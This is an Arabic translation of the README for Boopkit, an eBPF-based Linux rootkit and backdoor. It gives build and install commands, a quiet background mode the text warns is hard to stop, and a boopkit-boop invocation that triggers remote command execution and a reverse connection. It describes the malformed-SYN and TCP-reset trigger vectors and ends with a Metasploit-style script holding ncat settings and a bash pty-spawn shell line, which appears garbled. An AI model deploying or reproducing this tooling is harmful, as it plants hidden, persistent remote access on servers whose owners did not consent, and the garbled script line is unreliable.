
باب خلفي لـ eBPF على لينكس عبر TCP. تشغيل الصدى العكسي، تنفيذ الأوامر عن بعد، على وصول مميز سابق. أقل من الضوضاء، وأكثر من الفعل.
================================================================
██████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗██╗████████╗
██╔══██╗██╔═══██╗██╔═══██╗██╔══██╗██║ ██╔╝██║╚══██╔══╝
██████╔╝██║ ██║██║ ██║██████╔╝█████╔╝ ██║ ██║
██╔══██╗██║ ██║██║ ██║██╔═══╝ ██╔═██╗ ██║ ██║
██████╔╝╚██████╔╝╚██████╔╝██║ ██║ ██╗██║ ██║
╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝
المؤلف: كريس نوا <[email protected]> الإصدار 1.4.0
لا يتحمل مالك حقوق الطبع والنشر أو المساهمون بأي حال من الأحوال
المسؤولية عن أي أضرار مباشرة أو غير مباشرة أو عرضية أو خاصة
أو نموذجية أو تبعية.
لا تحاول استخدام الأدوات لانتهاك القانون.
المؤلف غير مسؤول عن أي عمل غير قانوني.
إساءة استخدام البرنامج أو المعلومات أو الكود المصدري
قد تؤدي إلى تهم جنائية.
استخدمها على مسؤوليتك الخاصة.
================================================================
Boopkit.
روتكيت (rootkit) وباب خلفي لنظام لينكس. مبني باستخدام eBPF.
الاستخدام:
boopkit [خيارات]
الخيارات:
-h, help عرض المساعدة والاستخدام لـ boopkit.
-i, interface اسم الواجهة. lo, eth0, wlan0، إلخ
-s, sudo-bypass تخطي فحص sudo. يكسر إخفاء PID.
-r, reverse-conn محاولة استرجاع RCE عكسي إذا لم يتم العثور على حمولة.
-q, quiet تعطيل الإخراج.
-x, reject عناوين المصدر لرفض المشغلات منها.
باب خلفي، روتكيت، وأدوات تجاوز eBPF لنظام لينكس. تنفيذ أوامر عن بعد عبر TCP الخام.
هذا ليس استغلالاً! يتطلب وصولاً متميزاً مسبقاً على الخادم ليعمل! أنا باحث أمني محترف. هذه أدوات القبعة البيضاء تستخدم لأغراض بحثية فقط. استخدمها بمسؤولية. لا تستخدم هذا البرنامج بشكل غير قانوني أبداً.

قم بتنزيل وبناء boopkit.
wget https://github.com/kris-nova/boopkit/archive/refs/tags/v1.3.0.tar.gz
tar -xzf v1.3.0.tar.gz
cd boopkit-1.3.0/
make
sudo make install
شغّل boopkit في المقدمة.
# رفض كل boops على localhost و 10.0.0.1
boopkit -x 127.0.0.1 -x 10.0.0.1
شغّل boopkit في الخلفية في الوضع الصامت.
# خطر! قد يكون من الصعب جداً إيقافه! شغّل هذا على مسؤوليتك الخاصة!
boopkit -q &
Boopkit يعمل الآن ويمكن استغلاله باستخدام أداة سطر الأوامر boopkit-boop.
قم بتنزيل وبناء boopkit.
wget https://github.com/kris-nova/boopkit/archive/refs/tags/v1.2.0.tar.gz
tar -xzf v1.2.0.tar.gz
cd boopkit-1.2.0/
make
sudo make install
شغّل boopkit-boop ضد الخادم.
# ===================
RCE="ls -la"
# ===================
LHOST="127.0.0.1"
LPORT="3535"
RHOST="127.0.0.1"
RPORT="22"
boopkit-boop \
-lhost $LHOST \
-lport $LPORT \
-rhost $RHOST \
-rport $RPORT \
-c "$RCE"
سيستجيب Boopkit لأحداث مختلفة على الشبكة. يمكن تشغيل كل منها باستخدام أداة boopkit-boop.
تنسيق رأس TCP. مأخوذ من RFC 793. سبتمبر 1981
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| منبع المنفذ | وجهة المنفذ |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| رقم التسلسل |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| رقم الإقرار |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| البيانات | محجوز |U|A|P|R|S|F| |
| الإزاحة | |R|C|S|S|Y|I| النافذة |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| المجموع الاختباري | المؤشر العاجل |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| الخيارات | الحشو |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
{ البيانات }
{ .... }
{ البيانات }
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
أولاً، سترسل أداة boopkit-boop حزمة TCP SYN مشوهة بمجموع اختباري فارغ إلى الخادم عبر مقبس SOCK_RAW. سيؤدي هذا إلى تشغيل boopkit عن بعد بغض النظر عن خدمات TCP قيد التشغيل. هذا يعمل ضد أي خادم لينكس يشغل boopkit، بغض النظر عن حالة خدمات TCP.
استخدم -p مع boopkit-boop لاستخدام هذا الناقل الأول فقط.
⚠️ بعض أجهزة الشبكة الحديثة ستُسقط جميع حزم المجموع الاختباري المشوهة مثل تلك المطلوبة لاستغلال boopkit باستخدام هذا الناقل!
بعد ذلك، ستكمل أداة boopkit-boop مصافحة TCP صالحة مع مقبس SOCK_STREAM ضد خدمة TCP عن بعد مثل SSH، Kubernetes، Nginx، إلخ. بعد اكتمال مصافحة TCP الأولية، ستعيد boopkit-boop العملية مرة ثانية.
المصافحة الثانية ستقلب علم إعادة تعيين TCP في الحزمة، مما يؤدي إلى إعادة تعيين TCP على الخادم.
أي من هاتين التكتيكين كافٍ لتشغيل boopkit بشكل مستقل. أجهزة الشبكة المختلفة وظروف وقت التشغيل ستجعل أي تكتيك أكثر قابلية للتطبيق. Boopkit سيحاول كليهما وسيستجيب لكليهما افتراضياً.
ملف boopscript هو نص برمجي متوافق مع Metasploit يمكن استخدامه لتشغيل الباب الخلفي لـ boopkit عن بعد بعد تثبيت boopkit-boop على جهاز لينكس بعيد.
# boopscript
RHOST="127.0.0.1"
RPORT="22"
LHOST="127.0.0.1"
LPORT="3535"
NCAT="/usr/bin/ncat"
NCATLISTENPORT="3545"
libbpflibxdppython -c "import pty; pty.spawn('/bin/bash')"
شكر للمؤلفين الأصليين على عينات الكود المفيدة! لقد اشتقت الكثير من الكود لهذا المشروع!